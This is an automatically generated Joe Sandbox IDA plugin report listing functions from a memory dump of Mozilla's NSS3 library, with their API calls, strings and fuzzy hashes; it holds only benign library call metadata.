Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0706b6cec8b95e81dfe07a0d1c072a6006533d2675bb9365391d69ad2f169aed
Instruction ID: 43f476b92df90f283a9568800ca5658b3daeb48170099838b88312fceff876ba
Opcode Fuzzy Hash: 0706b6cec8b95e81dfe07a0d1c072a6006533d2675bb9365391d69ad2f169aed
Instruction Fuzzy Hash: FA1127B1B012509FEB508F19D854A6677B8EB4A30DF04843DEC49C7B42F731E819CBA1

Function 6CB8BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8BDCA

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB8BDDB

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB8BDEC

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CB8BE03

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8BE3B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 2874774d6ce6ee7651e6992ab6cb78c15201f032a5a1f5992123a0fe18ca2eae
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 31012B65A426816AF61013767C01F5F364C8F5568EF240031FE049AB83FB54E11882F6

Function 6CBE0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B
TlsGetValue.KERNEL32(00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1044
free.MOZGLUE(00000000,?,00000800,6CB7EF74,00000000), ref: 6CBE1064

Strings

security, xrefs: 6CBE1025

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 6c829f249ceaf08c7ece0f2ab6caa463081c65f751ece9cd432b92e96b36b622
Instruction ID: 7cd24d45564ca25da236a6370ee91670dcaf856fd604b59f27645b33221233b9
Opcode Fuzzy Hash: 6c829f249ceaf08c7ece0f2ab6caa463081c65f751ece9cd432b92e96b36b622
Instruction Fuzzy Hash: 33012570A402D05BE7202F2C9C04646377CEF0ABC9F290216E80896A53EB61D154DBE2

Function 6CC11C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC11C74

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CC11C92
free.MOZGLUE(?), ref: 6CC11C99
DeleteCriticalSection.KERNEL32(?), ref: 6CC11CCB
free.MOZGLUE(?), ref: 6CC11CD2

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 7558c635d8e740da26a9e90b2fcd4a2399baaf2114ea409ad2fa28f39b47bc8a
Instruction ID: d23806c8d7de5780ee7e2860e8c978ec07fa38a5ea4c52eacd8216b49748b65e
Opcode Fuzzy Hash: 7558c635d8e740da26a9e90b2fcd4a2399baaf2114ea409ad2fa28f39b47bc8a
Instruction Fuzzy Hash: 8801D2B1F056325FEF60AFA99C1DB4977B8AB1F308F100124E90AA2B40FB38E1449791

Function 6CC71C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CB73D77,?,?,6CB74E1D), ref: 6CC71C8A
sqlite3_free.NSS3(00000000), ref: 6CC71CB6

Strings

a generated column, xrefs: 6CC71C6C
an index, xrefs: 6CC71C67
non-deterministic use of %s() in %s, xrefs: 6CC71C85
a CHECK constraint, xrefs: 6CC71C76, 6CC71C81

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 10880d0f9b306c28896c0a2ae9c25b611f27bb63e3f1f45d0b521df4a0087123
Instruction ID: b4c7563e2298b1b601a35199caf07e1c1cab9bd0f3c83004f3d7b720f6f97b0e
Opcode Fuzzy Hash: 10880d0f9b306c28896c0a2ae9c25b611f27bb63e3f1f45d0b521df4a0087123
Instruction Fuzzy Hash: 170128B1A001405BD700AFACD4129B177E5EF8538CB14086DEC499BB12FA32E856C761

Function 6CC22E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC23046

Part of subcall function 6CC0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CBF7FFB), ref: 6CC2312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC23154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC22E8B

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

Part of subcall function 6CC0F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CBF9BFF,?,00000000,00000000), ref: 6CC0F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CBF7FFA), ref: 6CC22EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2317B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 54eca64e30f7cbd60d59bdf3d0d30a498705200dc361bcc6582f64a105f27f00
Instruction ID: 9bcbb0a29bcc752c0fd27814236f25fdd2cfdbd8bcde291854db06f36eee0385
Opcode Fuzzy Hash: 54eca64e30f7cbd60d59bdf3d0d30a498705200dc361bcc6582f64a105f27f00
Instruction Fuzzy Hash: 48A1BC71A002289FDB24CF54CC90BAAB7B5FF49318F048199E949A7741E735AE85CFA1

Function 6CBEED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CBEED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CBEEDCE

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

free.MOZGLUE(00000000,?,?,?,?,6CBEB04F), ref: 6CBEEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBEEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBEEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBEEEFB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: a42914d9c75c5394fea2003ab80c297863830bd397c722c5ae39f431dc7eb184
Instruction ID: 76ac0ffcbba227abca5da015ade7d0c4f460f6d39b2b017a62b804f0d775e22a
Opcode Fuzzy Hash: a42914d9c75c5394fea2003ab80c297863830bd397c722c5ae39f431dc7eb184
Instruction Fuzzy Hash: 03815BB5A002859FEB14CF55D880AAF77F5EF8CB88F144428E8159B751DB34E914CBE2

Function 6CBECCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBEDAE2,?), ref: 6CBEC6C2

PR_Now.NSS3 ref: 6CBECD35

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

Part of subcall function 6CBD6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C3F

PR_GetCurrentThread.NSS3 ref: 6CBECD54

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

Part of subcall function 6CBD7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB81CCC,00000000,00000000,?,?), ref: 6CBD729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBECD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CBECE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CBECE2C

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBECE40

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

Part of subcall function 6CBECEE0: PORT_ArenaMark_Util.NSS3(?,6CBECD93,?), ref: 6CBECEEE
Part of subcall function 6CBECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBECD93,?), ref: 6CBECEFC
Part of subcall function 6CBECEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBECD93,?), ref: 6CBECF0B
Part of subcall function 6CBECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBECD93,?), ref: 6CBECF1D

Part of subcall function 6CBECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF47
Part of subcall function 6CBECEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF67
Part of subcall function 6CBECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CBECD93,?,?,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF78

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 6deadcc706be5993d841d55e0269193645a313f588c0cce98a27e592ee5e3a69
Instruction ID: 594d20f5b3736f5747dff1dde1150c7a47c7caf22947bea4943d13b60b46b14d
Opcode Fuzzy Hash: 6deadcc706be5993d841d55e0269193645a313f588c0cce98a27e592ee5e3a69
Instruction Fuzzy Hash: A451B0B2A002509FEB10DF69DC40BAA7BE4EF4CB88F250524D815A7B41EB35FD05CB92

Function 6CBFFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CBFFFE5

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC00004
PR_EnterMonitor.NSS3(?), ref: 6CC0001B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 9de87d84f3f64dea73cd82224c5ffa788a8ab576648379cb7d8e335f8ffdd4b1
Instruction ID: 48782c4a3644e0a6fd14fc7aed64d86b197deaec436da8085519357032c76413
Opcode Fuzzy Hash: 9de87d84f3f64dea73cd82224c5ffa788a8ab576648379cb7d8e335f8ffdd4b1
Instruction Fuzzy Hash: ED4156713446809BE7208E29DC517AB72A5EB01309F12053DD45BCAE92F7BBA64AC742

Function 6CBBEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CBBEF38

Part of subcall function 6CBA9520: PK11_IsLoggedIn.NSS3(00000000,?,6CBD379E,?,00000001,?), ref: 6CBA9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CBBEF53

Part of subcall function 6CBC4C20: TlsGetValue.KERNEL32 ref: 6CBC4C4C
Part of subcall function 6CBC4C20: EnterCriticalSection.KERNEL32(?), ref: 6CBC4C60
Part of subcall function 6CBC4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CA1
Part of subcall function 6CBC4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CBE
Part of subcall function 6CBC4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CD2
Part of subcall function 6CBC4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4D3A

PR_GetCurrentThread.NSS3 ref: 6CBBEF9E

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

free.MOZGLUE(00000000), ref: 6CBBEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBBF016
free.MOZGLUE(00000000), ref: 6CBBF022

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: c2c9a501ece5e6d98c010663f0b065b87e455d8ea5ffcb3b1bb57223a0c2be3f
Instruction ID: fde44eeeb63cdb6d7cbf66e826207ccc938e6a9393845e6c856fc18425268009
Opcode Fuzzy Hash: c2c9a501ece5e6d98c010663f0b065b87e455d8ea5ffcb3b1bb57223a0c2be3f
Instruction Fuzzy Hash: 39419375E00249ABDF018FA9DC85BEE7BB9EF48358F004025F914A6360EB71D915CBA1

Function 6CBACF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CBACF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CBAD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CBAD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAD025
PR_NewLock.NSS3 ref: 6CBAD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBAD074

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 6f2c9a4d3aa0f4b2cd472bf27af2c30e2689190b74d92132aaf6fd6ac14afccd
Instruction ID: 13aed23a9aba8e2c3d264c1a45f2bb48461a8a393f8439d1d8864476048e6294
Opcode Fuzzy Hash: 6f2c9a4d3aa0f4b2cd472bf27af2c30e2689190b74d92132aaf6fd6ac14afccd
Instruction Fuzzy Hash: 0C4109B09053518FDF10DFBAD89038A7BE8EF08318F114169DC598B746E775D48ACB92

Function 6CBF3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF3FF2

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CBF400F

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CBF4054

Part of subcall function 6CB8BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CB8BC24
